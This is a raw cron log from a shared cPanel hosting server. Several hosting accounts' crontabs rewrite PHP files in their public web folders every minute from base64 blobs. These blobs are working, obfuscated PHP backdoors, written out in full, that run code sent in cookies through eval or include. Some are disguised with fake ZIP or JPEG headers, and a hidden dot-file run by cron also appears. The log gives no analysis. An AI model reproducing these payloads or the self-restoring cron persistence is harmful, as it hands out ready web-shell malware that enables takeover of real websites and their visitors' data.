Mar  1 15:56:01 medusa CROND[16918]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:56:01 medusa CROND[16925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:57:01 medusa CROND[6597]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 15:57:01 medusa CROND[6654]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:57:01 medusa CROND[6655]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:57:01 medusa CROND[6656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:57:01 medusa CROND[6657]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:57:01 medusa CROND[6659]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:57:01 medusa CROND[6660]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:57:01 medusa CROND[6663]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:57:01 medusa CROND[6664]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:57:01 medusa CROND[6669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:57:01 medusa CROND[6670]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:57:01 medusa CROND[6686]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:58:01 medusa CROND[28908]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:58:01 medusa CROND[28915]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:58:01 medusa CROND[28916]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:58:01 medusa CROND[28919]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 15:58:01 medusa CROND[28921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:58:01 medusa CROND[28922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:58:01 medusa CROND[28924]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:58:01 medusa CROND[28928]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:58:01 medusa CROND[28927]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:58:01 medusa CROND[28925]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:58:01 medusa CROND[28930]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:58:01 medusa CROND[28931]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:58:01 medusa CROND[28933]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:58:01 medusa CROND[28923]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
